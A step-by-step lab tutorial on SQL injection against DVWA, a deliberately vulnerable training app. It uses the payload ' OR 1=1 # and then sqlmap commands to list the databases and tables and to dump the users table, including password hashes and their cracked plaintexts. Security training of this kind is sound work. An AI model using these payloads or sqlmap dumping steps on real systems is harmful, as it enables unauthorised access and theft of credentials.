

# SQL Injection on DVWA



**SQL injection** is a type of attack in which an attacker injects malicious code into a website's SQL statement and gains access to sensitive information or performs malicious actions on the database. This is typically done by manipulating input fields in a web application that is connected to a database, such as a login form or a search box, in such a way as to trick the application into executing unintended SQL commands



**SQL injection attacks** can allow attackers to bypass authentication, access, modify, or delete sensitive data, or even execute commands on the operating system. They can also be used to create new user accounts with high privileges or to perform other malicious action

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*You should be on Kali Linux or Parrot  
OS in VMWARE, Virtual Box or running  
natively on your PC*

# Step- 1

- ❖ Go to DVWA security settings and set the difficulty to low

The screenshot shows the DVWA Security Level page. On the left is a sidebar with various exploit categories: Home, Instructions, Setup / Reset DB, Brute Force, Command Injection, CSRF, File Inclusion, File Upload, Insecure CAPTCHA, SQL Injection, SQL Injection (Blind), Weak Session IDs, XSS (DOM), XSS (Reflected), and XSS (Stored). The main content area is titled "DVWA Security" with a padlock icon. It displays the current security level as "low". A descriptive text explains that the security level can be set to low, medium, high, or impossible, and provides a numbered list of what each level represents. A note at the bottom states that prior to DVWA v1.9, the 'high' level was known as 'low'. At the bottom, there is a dropdown menu set to "Low" and a "Submit" button.

DVWA Security 🔒

## Security Level

Security level is currently: **low**.

You can set the security level to low, medium, high or impossible. The security level changes the level of DVWA:

1. Low - This security level is completely vulnerable and **has no security measures at all**. It is used as an example of how web application vulnerabilities manifest through bad coding practices and is used as a platform to teach or learn basic exploitation techniques.
2. Medium - This setting is mainly to give an example to the user of **bad security practices**. It is used to show that even if a developer has tried but failed to secure an application, it also acts as a challenge to user exploitation techniques.
3. High - This option is an extension to the medium difficulty, with a mixture of **harder or alternative security practices** to attempt to secure the code. The vulnerability may not allow the same extent of exploitation, similar in various Capture The Flags (CTFs) competitions.
4. Impossible - This level should be **secure against all vulnerabilities**. It is used to compare the user's source code to the secure source code.

Prior to DVWA v1.9, this level was known as 'high'.

Low ▾ Submit

## Step- 2

- ❖ if we put the following command in the box it will list down all information in the specific category

Vulnerability: SQL Injection

User ID:  Submit

ID: ' OR 1=1 #  
First name: admin  
Surname: admin

ID: ' OR 1=1 #  
First name: Gordon  
Surname: Brown

ID: ' OR 1=1 #  
First name: Hack  
Surname: Me

ID: ' OR 1=1 #  
First name: Pablo  
Surname: Picasso

ID: ' OR 1=1 #  
First name: Bob  
Surname: Smith

## Step- 3

- ❖ We can manually use complex commands to list all information. But we are going to use sqlmap to automate the process. First of all intercept a normal request with burp and save it in a text document. Now launch sqlmap with the following command

```
>sqlmap -r req.txt --dbs
```



```
(kali㉿kali)-[~/Downloads]
$ sqlmap -r req.txt --dbs
[1.6.12#stable]
https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking target
state and federal laws. Developers assume no liability an

[*] starting @ 02:34:59 /2023-01-01/
```

## Step- 4

- ❖ It will list all databases available. Now to get more information about the tables of a particular database, we can use the following command

```
>sqlmap -r req.txt -D dvwa --tables
```

```
[02:35:51] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.22.1
back-end DBMS: MySQL ≥ 5.0.12 (MariaDB fork)
[02:35:51] [INFO] fetching tables for database: 'dvwa'
[02:35:51] [WARNING] reflective value(s) found and filtering out
Database: dvwa
[2 tables]
+-----+
| guestbook |
| users      |
+-----+
```

## Step- 5

- ❖ You can get column information of tables with the following command

```
>sqlmap -r req.txt -D dvwa -T users --columns
```

Table: users	
Column	Type
user	varchar(15)
avatar	varchar(70)
failed_login	int(3)
first_name	varchar(15)
last_login	timestamp
last_name	varchar(15)
password	varchar(32)
user_id	int(6)

## Step- 6

- ❖ Now we can dump information with the following command

```
>sqlmap -r req.txt -D dvwa -T users --dump-all
```

Database: dvwa								
Table: users								
[5 entries]								
user_id	user	avatar	password	last_name	first_name	last_login	failed_login	
1	admin	/hackable/users/admin.jpg	5f4dcc3b5aa765d61d8327deb882cf99 (password)	admin	admin	2023-01-01 02:10:06	0	
2	gordonb	/hackable/users/gordonb.jpg	e99a18c428cb38d5f260853678922e03 (abc123)	Brown	Gordon	2023-01-01 02:10:06	0	
3	1337	/hackable/users/1337.jpg	8d3533d75ae2c3966d7e0d4fcc69216b (charley)	Me	Hack	2023-01-01 02:10:06	0	
4	pablo	/hackable/users/pablo.jpg	0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)	Picasso	Pablo	2023-01-01 02:10:06	0	
5	smithy	/hackable/users smithy.jpg	5f4dcc3b5aa765d61d8327deb882cf99 (password)	Smith	Bob	2023-01-01 02:10:06	0	



**DEMO**



# THANKS